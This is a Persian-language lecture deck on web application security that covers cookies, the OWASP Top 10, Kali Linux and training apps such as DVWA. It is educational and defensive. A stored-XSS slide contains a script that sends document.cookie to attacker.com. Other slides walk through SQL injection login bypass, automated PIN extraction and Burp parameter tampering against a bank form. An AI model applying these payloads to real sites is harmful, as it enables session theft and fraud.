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مرتضی امینی                                                                                 امنیت داده و شبكه

فهرست مطالب

آشنایی با مفاهیم و اصطلاحات

 اهمیت امنیت برنامه ی کاربردی تحت وب

بررسی برخی از آسیب پذیری های رایج

سناریوهای منجر به حمله◼

بررسی مثال های واقعی و یا آموزشی◼

راههای مقابله با آسیب پذیری◼
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برنامه کاربردی تحت وب

رار اينترانت مورد استفاده ق/برنامه ای كه از طريق شبكه اينترنت❑
می گیرد و معمولا

.پیروی می کند( client/server)کارگزار /از معماری کارخواه▪
.کارگزار برنامه کاربردی به پایگاه داده ها متصل می شود▪
.واسط کاربری کارخواه، یک مرورگر وب است▪
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(HTTP)پروتکل انتقال ابرمتن 

یک پروتکل لایه کاربرد

کارگزار /یک پروتکل درخواست و پاسخ در مدل کارخواه

(client/server )است.

 این پروتکلstateless هست به این معنی که سرور در یک

.جلسه ردی از کاربر ذخیره نمی کند
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(HTTP)پروتکل انتقال ابرمتن 

اری می شودبنابراین وضعیت جلسه با استفاده از تکنیکهایی نگهد:

استفاده از کوکی◼

استفاده از متغیرهای پنهان در صفحات وب◼

استفاده از متغیرهای موجود در درخواست همانند شناسه نشست◼
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(Cookie)کوکی 

اریجیانظرموردسایتوبسرورتوسطکهاستاطلاعاتازبسته ای
سرآینددرSet-Cookieبا)می شودفرستادهاینترنتیمرورگرهایبه

http)با)سروربهکاربرانمرورگرهایازنیزوCookieسرآینددر
http)می گرددباز.

می نمایندفراهمراوب سایت هابهبهتردسترسیامکانکوکی ها.
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(cookie)کوکی 

فیلدهای اطلاعاتی كوكی:

◼Content( شاملName=Value ) تمام اطلاعات مورد نیاز سرویس

.آن شامل می شوددهنده را برای حفظ حالت نشست و یادآوری گذشته

 نام با پیشوند__Secure با )فقط در صورت ارسال از وب سایت مرجع امن

.قابل پذیرش استsecureو درج پرچم ( httpsاستفاده 

 نام با پیشوند__Host برای فیلد  /مانند قبلی به انضمام شرط درج مقدار

Path و عدم درج فیلدDomain
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(cookie)کوکی 

فیلدهای اطلاعاتی كوكی:

◼Domainوب سایتی که کوکی به آن ارسال می شود را مشخص می کند.

 اگر درج نشود، همانURL[توصیه می شود]. صفحه جاری درنظر گرفته می شود

اگر دامنه ای درآن درج شود، تمام زیردامنه های آن نیز در نظر گرفته می شوند.

◼Pathعات مسیر دایرکتوریهایی که در صورت دریافت درخواست ازآنها اطلا

است به معنای همه /پیش فرض آن . کوکی به سرور ارسال می شود

.مسیرها
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(cookie)کوکی 

فیلدهای اطلاعاتی كوكی:

◼Expireت بعد از آن اطلاعا. تاریخ انقضای کوکی را مشخص می کند

.وضعیت پاک می شود و نشستی در کار نخواهد بود

◼Secure در صورتTrue بودن به این معنا است به خاطر حساس

بودن اطلاعات کوکی باید برای یک سرویس دهنده به صورت امن

کوکی در مقابل نشت اطلاعات مقاوم تر )فرستاده شود ( رمز شده)

(.خواهد شد

9



مرتضی امینی                                                                                 امنیت داده و شبكه

(cookie)کوکی 

فیلدهای اطلاعاتی كوكی:

◼HttpOnly در صورتی که مقدار این پرچم برابرTrue  ،باشد
(  Document.Cookieبا استفاده از )اسکریپت ها  نمی توانند به مقادیر کوکی 

. دسترسی پیدا کنند
له استفاده از این نوع کوکی ها یکی از مکانیزم های دفاعی در مقابل حم

XSSاست.
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(cookie)کوکی 

فیلدهای اطلاعاتی كوكی:

◼SameSiteعدم امکان ارسال کوکی به واسطه درخواست بین/امکان
(CSRFبرای مقابله با حمله )را مشخص میکند ( cross-site)سایتی 

Strict : با)کوکی صرفا با درخواستهای ارسالی از سوی سایت مرجع آن
.، ارسال می گردد(جاریURLتوجه به 

Lax(پیش فرض :) ن یک مثلا برای آورد)کوکی با درخواستهای بین سایتی
ع از ارسال نمی شود، بلکه در صورت هدایت به سایت مرج( تصویر یا فریم

.ارسال می شود( مثلا از طریق یک لینک)یک سایت بیرونی 

None : کوکی هم با درخواست بین سایتی و هم با درخواست از سایت
.باید حتما فعال باشدSecureمرجع ارسال می شود ولی فیلد 
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کسمشاهده مقادیر کوکی در فایرفا

Tools > Browser Tools > Web Developer Toolsاز طریق منوی 
.می توان کوکی ها را مشاهده کردStorageزبانه 

12



مرتضی امینی                                                                                 امنیت داده و شبكه

مشاهده مقادیر کوکی در کروم

F12 را زده و در زبانهApplicationمقدار کوکی را مشاهده کنید.

13



مرتضی امینی                                                                                 امنیت داده و شبكه

انواع کوکی ها

 كوكی های نشست(Session Cookies)
کوکی فاقد فیلد زمان انقضا ◼
یره کوکی موقتی که با بسته شدن مرورگر پاک می شود و بر روی دیسک ذخ◼

.نمی شود
.از ریسک امنیتی پایینی برخوردار هستند◼

 كوكی های مانا(Persistent Cookies)
با کوکی دارای زمان انقضا که به صورت بلندمدت در دیسک ذخیره می شود و◼

.بسته شدن مرورگر پاک نمی شود
ده هرگاه سایت صادرکننده و یا سایتی که حاوی منابعی از سایت صادرکنن◼

.باشد، مورد بازدید قرار گیرد، کوکی به سایت صادرکننده ارسال می شود
.امکان ردگیری کاربر را حتی در سطح سایت های مختلف دارند◼
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انواع کوکی ها

 كوكی شخص اول(First-party Cookie)
.توسط سایتی که مورد بازدید قرار گرفته ایجاد می شود◼

 كوكی شخص ثالث(Third-party Cookie)
.توسط سایت دیگری غیر از سایت مورد نظر ایجاد می شود◼
لید به طور مثال در صورت کلیک بر روی یک تبلیغ، این نوع کوکی تو◼

رجاع مشخص شود که سایت ا( که تبلیغ شده بود)می شود تا در سایت دوم 
.دهنده کدام سایت بوده
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(  1)اهمیت امنیت برنامه های کاربردی  وب 

 درصد زیادی از حملات انجام شده در فضای مجازی از طریق
.وب انجام می شود

هوم در سازمانها و شرکت ها معمولا شناخت دقیقی نسبت به مف
ود، امنیت وجود ندارد و بسیاری از تصمیماتی که گرفته می ش

وقت و هزینه را هدر می دهند و مشکلات امنیتی همچنان دیده 
.می شوند
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(2)اهمیت امنیت برنامه های کاربردی وب 

 در پایگاه دادهWHIDمورد حمله امنیتی علیه وب ، هزاران
(  شامل ایران)سایت ها در دو دهه اخیر در نقاط مختلف دنیا 

.گزارش شده است

OWASP Web Hacking Incidents Database
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(۳)اهمیت امنیت برنامه های کاربردی وب 

!رانپی ایحمله به سایت یک بانک از آی

ی، نوع حمله، ضعف امنیتی برنامه کاربرد
نتیجه اجرای حمله، هدف حمله

افشای اطلاعات

نقض صحت 

خارج از دسترس
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خسارت های رایج

Information 
Leakage

(32.5%)

Monetary 
Loss

(6.7%)
Defacement
(19.2%)

Downtime
(23.2%)
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(1)دلایل فراگیری حملات وب 

وجود ابزارهای بسیار قدرتمند ❑
به صورت خودكاربرای اجرای حملات امنیتی ◼
با حداقل وابستگی به دانش امنیتی فرد مهاجم◼
رايگان و آماده اجرادر دسترس به صورت ◼

كاربرد دوگانه❑
(  Pen Test)تست نفوذ : متخصصین امنیت◼
حمله: مهاجمان◼
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مثالی از ابزارهای موجود

 یک توزیع لینوکس مبتنی برDebian

مجموعه کاملی از ابزارهای تست نفوذ و فارنزیک

 ابزار مختلف در این نسخه وجود دارد۳۰۰حدود.
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KALIلینوکس 

Information Gathering جمع آوری اطلاعات
Vulnerability Analysis آنالیز آسیب پذیری ها
Wireless Attacks حملات وایرلس
Exploitation Tools ابزارهای اکسپلویت
Forensics Tools (فارنزیک)ابزارهای کشف شواهد رایانه ای 
Stress Testing ابزارهای آزمون فشار
Web Applications ابزارهای تست نفوذ در وب
Password Attacks ..(و دیکشنری)ابزارهای حمله مرتبط با کلمات عبور
Sniffing & Spoofing حملات شنود و جعل
Reverse Engineering مهندسی معکوس
Maintaining Access حفظ دسترسی
Hardware Hacking نفوذ به سخت افزار
Reporting Tools ابزارهای تولید گزارش
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در حال اجراKali Linuxنمایی از 
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(2)دلایل فراگیری حملات وب 

وجود منابع آموزشی فراوان و در دسترس❑
شده توسط هکرهاتهیه◼
شده توسط متخصصین امنیت به منظور آموزش امنیتتهیه◼

OWASP Broken Web Application Project: مثال❑
برنامه های کاربردی آموزشی با آسیب پذیری عمدی
آموزش با اجرای عملی انواع حملات امنیتی بر روی این برنامه ها
در دسترس بر روی ماشین مجازی و آماده اجرا
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OWASPBWAبرنامه ی آموزشی: مثال

يک ماشین مجازی حاوی تعدادی برنامه آسیب پذير❖
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DVWA: Damn Vulnerable Web 
Application
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آسیب پذیری

هر گونه درز یا مشکل در طراحی، پیاده سازی و یا : تعريف
یاستقرار و پیکربندی سیستم های سخت افزاری یا نرم افزار

ر مراجع مختلفی برای گزارش آسیب پذیری های کشف شده ب
مانند. روی انواع سیستم ها وجود دارد

◼CVE موسسهMITRE( لیست آسیب پذیریها به همراه کدCVE و
(توصیف آنها

◼NVD موسسهNIST( لیست آسیب پذیریها در تطابق باCVE به
، وجود CVSSهمراه اطلاعات اضافه تری در خصوص میزان جدیت 

... (و Patchوصله یا 
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دهمرجعی برای آسیب پذیریهای کشف ش
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دهمرجعی برای آسیب پذیریهای کشف ش
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دهمرجعی برای آسیب پذیریهای کشف ش
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 Exploitاکسپلویت

یبراامنیتیمحققیاوهکرچندیایکتوسطکهبرنامه ای❑
زار،نرم افدرخاصآسیب پذیرییکازسوءاستفادهامکاناثبات

.می شودتولیدسخت افزاریاوسیستم عامل
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شدهمرجعی برای اکسپلویتهای نوشته
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OWASP
Open Web Application Security Project

.استفعالیتمشغولتاکنون2۰۰۱سالاز❑

ایبرنامه هامنیتزمینهدرکهغیرانتفاعیوغیردولتیموسسهیک❑
.می کندفعالیتتحت وبکاربردی

بهآنمتدولوژی هایوابزارهاآموزشی،محتواهایمستندات،مقالات،❑
.استاختیاردررایگانصورت

هر چند سال برترین آسیب پذیری های برنامه های تحت وب را معرفی❑
.می نماید
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آسیب پذیری های رایج در وب
OWASP Top 10

OWASPشناسایی ده آسیب پذیری  امنیتی رایج در وب توسط ❑

مختلفکشورهایدراخیرسال هایدرشدهگزارشامنیتیحملاتبهتوجهبا▪
.می شونداجراآسیب پذیریچندیایکازسوءاستفادهباامنیتیحملات▪
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آسیب پذیری های رایج در وب

دی مروری بر آسیب پذیری های امنیتی رایج در برنامه های کاربر

تحت وب

با استفاده از مثال های کوتاه◼

ارائه نمونه های عملی از رخداد حملات◼

بیان نکاتی جهت پیشگیری از وقوع حملات◼
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A1-Injection

تزریق
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A1- آسیب پذیری تزریق(Injection)

مختلف حمله تزریقانواع

تزریق دستور سیستم عامل◼

پایگاه دادهSQLتزریق دستور ◼

....تزریق ◼
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A1-ملتزریق دستور سیستم عا

بهویاعتبارسنجبدونراکاربرازدریافتیورودی هایکاربردیبرنامهیکاگر❑
جودوتزریقحملهرخداداحتمالکند،ارسالدستورمفسریکبهمستقیمطور
.دارد

تزریق دستور سیستم عامل: مثال❑
امکان اجرای هر دستور مخرب با مجوز کاربرِ ❑

مجریِ کارگزار وب
:باشدrootاگر ◼

غیر فعال کردن دیواره آتش
تخریب سیستم عامل

:اگر یک کاربر معمولی باشد◼
حذف صفحات وب

دسترسی به پیکربندی کارگزار وب
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A1- تزریقSQL(SQL Injection)

یکی از شایع ترین نوع آسیب پذیری ها

 امکان تزریق کدSQL از طریق فیلدهای ورودی یا ارسالURL

 اثرات حملات تزریقSQL

استخراج ساختار پایگاه داده ها◼
استخراج داده های حساس◼
تغییر یا حذف جداول و داده ها◼
◼...
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 فرمHTMLبر روی مرورگر کاربر:

 دستور ارسالی کارگزار وب به
:پایگاه داده

ورود غیرمجاز: نتیجه

A1- تزریقSQL(SQL Injection)

گزاره منطقی 
همواره درست
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A1- تزریقSQL(SQL Injection)

                          معرفی برخی ابزارهاsqlmap
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A1- تزریقSQL(SQL Injection)

معرفی برخی ابزارها
Havij
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A1- تزریقSQL (1)به صورت خودکار

که معتبر یا نامعتبر بودن شماره حساب را معینHTMLیک فرم ❑
.آسیب پذیر استSQLو در برابر تزریق می کند 

.باشدمعتبراگر شماره حساب وارد شده ❑

.باشدنامعتبراگر شماره حساب وارد شده ❑
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مرتضی امینی                                                                                 امنیت داده و شبكه

A1- تزریقSQL (2)به صورت خودکار

دانش مهاجم❑
(.شماره حساب خودش)معتبر است ۱۰۱شماره حساب ◼

.استaccount_numberنام ستون شماره حساب ◼
.در پایگاه داده وجود دارد( pin)و ( cc_number)با دو ستون pinsجدول ◼
.است( 9999تا 0000)گذرواژه هر فرد یک عدد چهار رقمی ◼

هدف مهاجم
1111222233334444مالک کارت گذرواژهپیدا کردن ◼

SQLاجرای خودكار حمله تزريق ❑
Jhijackبا استفاده از ابزار رایگان ◼

Table: pins

cc_number pin

1111222233334444 ????
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مرتضی امینی                                                                                 امنیت داده و شبكه

(۳)به صورت خودکار SQLتزریق 
پیدا شودpinخروجی مورد  انتظار وقتی 

SessionID :یک شناسه نشست معتبر

A1- تزریقSQL (۳)به صورت خودکار
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مرتضی امینی                                                                                 امنیت داده و شبكه

A1- تزریقSQL (۴)به صورت خودکار

دقیقه ده هزار 3با حمله جستجوی کامل، در زمان تقریبی 
.به دست آمد2364حالت ممکن بررسی شد و عدد 
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مرتضی امینی                                                                                 امنیت داده و شبكه

A1- چند نمونه حمله تزریقSQL

 تزریقSQLدر سایت سازمان سنجش
۱۳8۳در زمان اعلام نتایج کارشناسی ارشد دولتی سال ◼
امکان استخراج نتایج کنکور داوطلبان مختلف◼

 اطلاعات یک میلیون کاربر 2۰۱۱در سالSonyPictures به
ی همراه اطلاعات دیگر این کمپانی به دلیل یک آسیب پذیر

SQL Injectionدزدیده شد.
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مرتضی امینی                                                                                 امنیت داده و شبكه

A1- برخی از راههای مقابله با تزریقSQL

استفاده از لیست سفید برای ورودی های کاربران

 استفاده از پرس وجوی پارامتری(Parameterized Query)

 استفاده از رویه ذخیره شده(Stored Procedure)

ال به استفاده از کاربران با سطوح دسترسی مختلف برای اتص
پایگاه داده

ست به کاربران پایگاه داده فقط همان سطح دسترسی هایی که نیاز ا◼
.داده شود
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مرتضی امینی                                                                                 امنیت داده و شبكه

A2-Broken Authentication 
and Session Management

احراز هویت و مدیریت نشست شکننده

49



مرتضی امینی                                                                                 امنیت داده و شبكه

A2-احراز هویت آسیب پذیر

:منشأ آسیب پذيری

هم نام کاربری و گذرواژه قابل حدس باشد و سیاست محدودکننده ای

.برای تعیین گذرواژه قوی وجود نداشته باشد

گذرواژه و شناسه ی نشست به صورت آشکار ارسال شوند.

گذرواژه ها و شناسه ی نشست مراقبت نشوند و گذرواژه ها به صورت

.آشکار ذخیره شوند

نشست منقضی نشود.
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مرتضی امینی                                                                                 امنیت داده و شبكه

A2-احراز هویت آسیب پذیر

:منشأ آسیب پذيری

عدم خروج خودکار از برنامه با بستن مرورگر
م وارد سیست...( محل کار، کافی نت و )کاربر در یک محیط همگانی ◼

شده و در نهایت بدون اینکه دکمه ی خروج را بزند فقط مرورگر را 
.می بندد

.حمله کننده بلافاصله پس از او از همان مرورگر استفاده می کند◼

فاکتور مناسبی برای احراز هویت در نظر گرفته نشود.
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مرتضی امینی                                                                                 امنیت داده و شبكه

A2-احراز هویت آسیب پذیر

استخراج غیر مجاز نتايج از سازمان سنجش: مثال

 آسیب پذیری امنیتی تزریق ۱۳8۴در سال ،SQL ظاهرا برطرف
شد، ولی به دلایل زیر همچنان استخراج غیرمجاز نتایج 

:امکان پذیر بود

قابل حدس زدنامکان دریافت نتیجه تنها با وارد کردن یک داده ◼

شماره داوطلبی

مرتب بودن شماره های داوطلبی بر اساس محل شرکت در آزمون، ◼
رشته و گرایش امتحانی
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مرتضی امینی                                                                                 امنیت داده و شبكه

A2- 8۴صفحه مشاهده نتایج در سال

 با آگاهی از اينكه
.شماره های داوطلبی، همان شماره صندلی های محل آزمون هستند◼
احتمالا نام )محل آزمون و شماره صندلی با مکان جغرافیایی، جنسیت، رشته امتحانی ◼

.می شود( یا مرتب)معلوم ( خانوادگی
 (  عبا حمله جستجوی جام)حدس زدن شماره داوطلبی شركت كننده مورد نظر

.به سادگی امكان پذير است

.كردمشاهدهرانتايجمی توانداوطلبیشمارهكردنواردباتنها
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مرتضی امینی                                                                                 امنیت داده و شبكه

A2-راه مقابله با حملات ذکر شده

 استفاده ازCAPTCHA و الزام به ورود بیش از یک داده مرتب نشده

از به حتی اگر شماره شناسنامه فرد مورد نظر را بدانیم، به دلیل نی
(  در زمان قابل قبول)درج عبارت امنیتی اجرای حملات ذکر شده 

.امکان پذیر نیست
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مرتضی امینی                                                                                 امنیت داده و شبكه

A2- 99صفحه مشاهده نتایج در سال

کهاستمتمایزدادهسهکردنواردنتیجه،دریافتبرایتلاشبارهرپیش نیاز
.داردپیش بینیقابلغیروتصادفیکاملاماهیت(CAPTCHA)سومی
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مرتضی امینی                                                                                 امنیت داده و شبكه

A2-ستمثال استفاده نادرست از شناسه نش

 کاربر در یک تور مسافرتی ثبت نام کرده است و می خواهد
ی را او لینک صفحه ا. مشخصات تور را برای دوستش ارسال کند

.برای دوستش ارسال می کند

 شناسه نشست کاربر درURLقابل مشاهده است.
فردی که این شناسه را به دست بیاورد می تواند به اطلاعات

.پروفایل کاربر دسترسی پیداکند

http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii
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مرتضی امینی                                                                                 امنیت داده و شبكه

A2-چند نمونه

ییکاطلاعاتآوردندستبهباتوانستهکریک2۰۱6سالدر
راسایتاینصفحاتازتعدادیredditزیربخش هایمدیراناز

defaceعدماتفاقاینبرایبیان شدهدلایلازیکی.کند
.بودفاکتورهچندهویتاحرازازاستفاده

شناسهاطلاعاتروشی،بهتوانستندهکرها2۰۱2سالدر
AppleشبکهیکدرراکاربرانWiFiدستبهعمومی

session)بیاورند fixation).
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مرتضی امینی                                                                                 امنیت داده و شبكه

A2-برخی راه های مقابله

استفاده از مکانیزمهای احراز هویت قوی برای کاربران

کاربران باید ملزم به انتخاب کلمات عبور پیچیده شوند.

کوکی باید با استفاده از پروتکل امن ارسال شود.

 اطلاعات مهم از قبیل شناسه نشست نباید با متدGET درURL

.ارسال شود

 (ترکیبی از چند روش مختلف احراز هویت)احراز هویت چندعامله
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مرتضی امینی                                                                                 امنیت داده و شبكه

A3-Cross-Site Scripting 

XSSآسیب پذیری
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مرتضی امینی                                                                                 امنیت داده و شبكه

A3- آسیب پذیریXSS

سناريوی رايج حمله❑
ریافتی د( مثلا کامنت)سایت آسیب پذیر، مثلا یک شبکه اجتماعی، داده ◼

.از کاربران را بدون اعتبارسنجی ذخیره می کند
.مهاجم در داده خود یک اسکریپت مخرب تزریق می کند◼
اسکریپت مخرب بر روی مرورگر سایر کاربران وارد شده به شبکه◼

.اجتماعی اجرا می شود

XSSعواقب رايج اجرای حمله ❑

جوع ، تغییر شکل عمدی سایت، ربه سرقت رفتن شناسه نشست◼
ناخواسته کاربر به سایت مهاجم
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مرتضی امینی                                                                                 امنیت داده و شبكه

A3- حملهXSS (ذخیره شده)1نوع

(Persistent)يا مانا ( Stored)ذخیره شده XSSحمله 

 در این نوع حمله، هکر کدهای مخرب را از طریق ورودی های
.  سیستم وارد و ذخیره می نماید

رب قربانی ندانسته کدهای مخرب را بارگیری می نماید و کدهای مخ
. اجرا می شوند

هنگام ذخیره سازی ورودی ها و همچنین هنگام : منشأ آسیب پذيری
. واکشی و ارسال خروجی ها اعتبارسنجی انجام نشده است
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مرتضی امینی                                                                                 امنیت داده و شبكه

A3- حملهXSS (ذخیره شده)1نوع
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مرتضی امینی                                                                                 امنیت داده و شبكه

A3- مثالی از حملهXSS

یسایت شبکه اجتماع

DB

Comments:
<script>...</script>

Happy Birthday!

Response 
generator:

Print <html>
Print DB.Comments()
Print </html>

comment=
<script>
window.location=
‘http://attacker.com/?cookie:‘
+ document.cookie
</script>
Happy Birthday!

POST https://social.com/sendcomment

قرارراخاصیاسکریپتیکخودکامنتدرمهاجم
امتمخود،سایتبهکاربرانهدایتبابتواندتامی دهد

ناسه ششامل)اجتماعیشبکهسایتبهمربوطکوکی های
.بیاورددستبهرا(نشست ها
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مرتضی امینی                                                                                 امنیت داده و شبكه

A3- مثالی از حملهXSS 

یمرورگر كاربر قربان

<html>
<script>...</script>

Happy Birthday!
</html>

GET https://social.com/comments

اعیسایت شبکه اجتم

DB

Comments:
<script>...</script>

Happy Birthday!

Response 
generator:

Print <html>
Print DB.Comments()
Print </html>

سایت مهاجم

GET http://attacker.com/?cookie:SessionID=...

ممهاجسایتبهخودکار،طوربهکاربر،مرورگر
کوکیآنهمراهبهومی کندارسالدرخواستی

.می رسدمهاجمدستبهنشستشناسهحاوی
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مرتضی امینی                                                                                 امنیت داده و شبكه

A3- حملهXSS (بازتابی)2نوع

(NonPersistent)يا غیرمانا (Reflected)بازتابی XSSحمله 

 اگر برنامه بخشی از ورودی کاربر را که از طریق پارامترهایURL ارسال
.می شوند، عیناً در خروجی نمایش دهد، آسیب پذیر خواهد بود

 این حمله به وسیله یک سری از پارامترهایURL ( حاوی اسکریپت های
.  ارسال می شوند، انجام می شودURLکه با ( مخرب

 هکر با فریب کاربر، وی را مجاب به کلیک رویURL حاوی )مخرب
.  می کند( اسکریپت ها در پارامترهای خود

 اینURL  معمولا از طریق ایمیل، وبلاگ ها یا انجمن ها و یا هر روش ممکن
.  دیگری برای کاربر فرستاده می شود
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مرتضی امینی                                                                                 امنیت داده و شبكه

A3- سناریوی حملهXSS 2نوع

66

:محتوای بازگشتی
کاربری با نام 

FirstName-LastName
.وجود ندارد



مرتضی امینی                                                                                 امنیت داده و شبكه

A3- نمونه حملاتXSS

Samy Kamkar سریع ترین 2۰۰5در سال
.کرم کامپیوتری را نوشت

 این کرم از آسیب پذیریXSS در سایت
myspace استفاده می کرد و در عرض

.ردساعت، یک میلیون کاربر را آلوده ک2۰
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مرتضی امینی                                                                                 امنیت داده و شبكه

A3- برخی راه های مقابله باXSS

داده های دریافت شده از کاربر بررسی و پاک سازی شوند.

.ونداز علائم خاص نمایانگر وجود اسکریپت جلوگیری یا پاک سازی ش◼

 ،در مواردی که وارد کردن کاراکترهای خاص انتظار نمی رود
(.  سمت سرور)اجازه این کار به کاربر داده نشود

به عنوان مثال اجازه وارد کردن کاراکتری غیر از حروف الفبا در وارد◼
.کردن نام داده نشود
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مرتضی امینی                                                                                 امنیت داده و شبكه

A4-Broken Access Control

کنترل دسترسی شکننده
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مرتضی امینی                                                                                 امنیت داده و شبكه

A4-هکنترل دسترسی شکنند
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مرتضی امینی                                                                                 امنیت داده و شبكه

A4-هکنترل دسترسی شکنند

ارجاع مستقیم به اشیا به صورت ناامن

 ارجاع داده می شود که برنامه ی ... کاربر به یک فایل، داده و

. کندکاربردی به درستی اجازه ی دسترسی به آن را بررسی نمی
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مرتضی امینی                                                                                 امنیت داده و شبكه

A4-ی نمونه حمله ناشی از کنترل دسترس
شکننده

 یک آسیب پذیری در سایت یاهو مشاهده شد2۰۱۴در سال.

حمله کننده می توانست تمامی پست ها و کامنت های موجود در
Yahoo Suggestion میلیون ۱نزدیک به )را پاک کند

(.رکورد

یک هکر مصری اولین بار این آسیب پذیری را گزارش کرد.
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مرتضی امینی                                                                                 امنیت داده و شبكه

A4-برخی از روش های جلوگیری

و از کاربر به طور مستقیم نباید به یک شیئ ارجاع داده شود
.طریق برنامه ی کاربردی باید این  دسترسی کنترل شود

سی دسترسی هر کاربر به هر شیئ باید به صورت جداگانه برر
.شود

 یا واسط کاربری، توابع)کنترل دسترسی در لایه های مختلف
.صورت پذیرد( لایه منطقی و لایه دسترسی به داده
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مرتضی امینی                                                                                 امنیت داده و شبكه

A4-هکنترل دسترسی شکنند

كنترل دسترسی در سمت واسط كاربری❑
منوها دسترسی دارد؟/یک کاربر به کدام فرم ها◼
یک کاربر در هر فرم مجاز به انجام چه کارهایی است؟◼
یک کاربر چه مقادیری برای هر عنصر از فرم می تواند وارد کند؟◼
◼...

و در لايه منطقی)تمامی موارد فوق بايد در سمت كارگزار ❖
.نیز مجددا كنترل شوند( لايه دسترسی به داده
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مرتضی امینی                                                                                 امنیت داده و شبكه

A4-بریکنترل دسترسی در سمت واسط کار

 ورود یک کارمند ساده(Tom )به سیستم

امکان مشاهده و ویرایش اطلاعات شخصی خودش
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مرتضی امینی                                                                                 امنیت داده و شبكه

A4-ریکنترل دسترسی در سمت واسط کارب

 ورود یک مدیر(David )به سیستم

 امکان مشاهده و ویرایش اطلاعات شخصی خود و کارمندان
تحت سرپرستی اش
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مرتضی امینی                                                                                 امنیت داده و شبكه

A4- (خط مشی امنیتی سازمان)مثال

 کارمند )یک کارمند معمولی نباید از حقوق سایر کارمندان
.مطلع گردد( معمولی و یا مدیر

یتی کنترل دسترسی در سمت واسط کاربری این خط مشی امن
.را پیاده سازی کرده است

مت در ادامه خواهیم دید به دلیل فقدان کنترل دسترسی در س
.سرور،  خط مشی امنیتی سازمان نقض خواهد شد
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مرتضی امینی                                                                                 امنیت داده و شبكه

A4-(1)ی مثال شکست کنترل دسترس

:گام های مورد نیاز در سمت كارمند معمولی❑
(اسلاید بعد)Burp Suiteتنظیم پراکسی مرورگر برای ارتباط از مسیر ▪
به سیستم( Tom)ورود یک کارمند ساده ▪
Burp Suiteدر Interceptفعال کردن امکان ▪

دریافت کلیه داده های ارسالی، ▪
احتمالا تغییر محتوای آن ها، ▪
تغییریافته به مقصد/ارسال داده های دریافتی▪

ViewProfileاجرای دستور ▪
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مرتضی امینی                                                                                 امنیت داده و شبكه

A4- (2)مثال شکست کنترل دسترسی
ارتباط به صورت معمولی❖

(Burp Suiteابزار )ارتباط با حضور یک پراکسی ❖

Burp Suite
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مرتضی امینی                                                                                 امنیت داده و شبكه

A4-(۳)مثال شکست کنترل دسترسی

 شناسایی پارامتر های بسته دریافت شده درBurpSuite

Tom را در بسته ارسالی می بیند( 105عدد )شماره پرسنلی خود.
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A4-(۴)مثال شکست کنترل دسترسی

Tomشماره پرسنلی سایر کارمندان را می داند یا به آسانی
.می تواند به دست بیاورد

 یک بار دیگر به صفحه خانگی خود مراجعه وViewProfile را
.کلیک می کند
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A4-(۴)مثال شکست کنترل دسترسی

 تغییر داده می شود107به 105شماره پرسنلی از.

.را می نویسد107عدد ( 105)به جای شماره پرسنلی خود Tomابتدا

.سپس بسته تغییریافته را به کارگزار ارسال می نماید
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A4-(5)مثال شکست کنترل دسترسی

 ،با دریافت پاسخ از کارگزارTom در مرورگر خود، اطلاعات شخصی یکی
را Davidاز مدیران به نام 
.مشاهده می کند

مشاهده حقوق یکی از مدیران توسط: نقض خط مشی امنیتی سازمان
یکی از کارمندان معمولی
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A4-رسینمونه حمله شکست کنترل دست

 (در ایران)نمونه  واقعی
سیستم بانکداری الکترونیکی یکی از بانک ها◼

وذ در شناسایی شده توسط یکی از شرکت کنندگان در مسابقه دفاع و نف
۹۴فضای مجازی 
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A4-(1)ی نمونه حمله به بانکداری الکترونیک

رم با برخی اطلاعات ف)فرم افتتاح حساب جدید از طریق اینترنت ❑
(مستطیل سبز پوشانده شده است

ده هزار ريال( : ابطال تمبر مالیاتی)هزينه افتتاح حساب ◼
صد هزار ريال: حداقل مبلغ موجودی برای افتتاح حساب◼
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 Burp)محتوای بسته دریافت شده توسط یک ابزار پراکسی ❖
Suite)

هزینه افتتاح حساب
(ابطال تمبر مالیاتی)

حداقل مبلغ موجودی 
برای افتتاح حساب

A4-(2)ی نمونه حمله به بانکداری الکترونیک
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با تغییر پارامترها به صورت زیر
◼ stampCost = 0

◼ shortMinimumBalance = 0

ذیرفته و اجرا بسته تغییریافته بدون مشکل توسط کارگزار بانک پ
.می شد

موجودی یک حساب جدید با بدون پرداخت هزینه : در نتیجه
.ریال قابل افتتاح بودصفر 

A4-(۳)ی نمونه حمله به بانکداری الکترونیک
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ترونیکی عدم کنترل دسترسی در سمت کارگزار سیستم بانکداری الک❑
:ممکن است منجر به سوء استفاده های بسیار مخرب تری گردد

اطلاع يک مشتری بانک از موجودی هر مشتری ديگر بانک◼
با جایگزینی شماره حساب دیگران به جای شماره حساب خود در زمان دریافت

صورت حساب اینترنتی

واريز از حساب ساير مشتريان به حساب خود◼
 با درج شماره کارت های مورد نظر در زمان اجرای یک عملیات انتقال وجه کارت

به کارت

A4-(۴)ی نمونه حمله به بانکداری الکترونیک
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A4-راه های پیشگیری

ی، در باید علاوه بر اجرای کنترل دسترسی در سمت واسط کاربر
.ددسمت کارگزار نیز کنترل دسترسی به طور کامل اعمال گر
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A5-Security Misconfiguration

پیکربندی اشتباه امنیتی
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A5-یپیکربندی اشتباه امنیت

منشأ آسیب پذيری

فته اند، برنامه ها، سیستم عامل و کتابخانه هایی که مورد استفاده قرار گر◼

.به صورت امن پیکربندی نشده اند

.امکانات و برنامه های غیرضروری نصب شده اند◼

(  Application)همان کلمات عبور پیش فرض در برنامه ی کاربردی ◼

.استفاده شده است
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A5-سناریوهای منجر به حمله

 به اشتباهDirectory Listing( سرور وبدرپیکربندی )فعال است  .
ن را حمله کننده می تواند فایل دلخواه خود را روی کارگزار پیدا و حتی آ

.دانلود کند

کندحمله کننده می تواند با دانلود و خواندن کد، آسیب پذیری را کشف.

رخ تنظیمات سرور وب و برنامه ی کاربردی به گونه ای است که در مواقع
دادن خطا، پیام های خطا را با جزییات تمام به حمله کننده نمایش 

.می دهد
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A5-لفپیکربندی نادرست در سطوح مخت

داین آسیب پذیری می تواند در سطوح مختلف اتفاق بیفت.

سیستم عامل◼

کارگزار وب◼

برنامه ی کاربردی◼

سیستم مدیریت پایگاه داده◼

(Framework)چارچوب ◼
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A5-(1)تشخیص پیکربندی نادرست

 با استفاده ازBurp Suit : مطمئن شوید کهintercept پروکسی
.غیرفعال است
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 در مرورگر خود آدرسMutillidaeرا وارد کنید  .

A5-(1)تشخیص پیکربندی نادرست
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 بر روی پوشه یMutillidae کلیک راست کرده و گزینه یSpider را
.انتخاب کنید

A5-(1)تشخیص پیکربندی نادرست
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 حال متوجه خواهید شد که اجازه یDirectory Listingرا دارید.

A5-(1)تشخیص پیکربندی نادرست
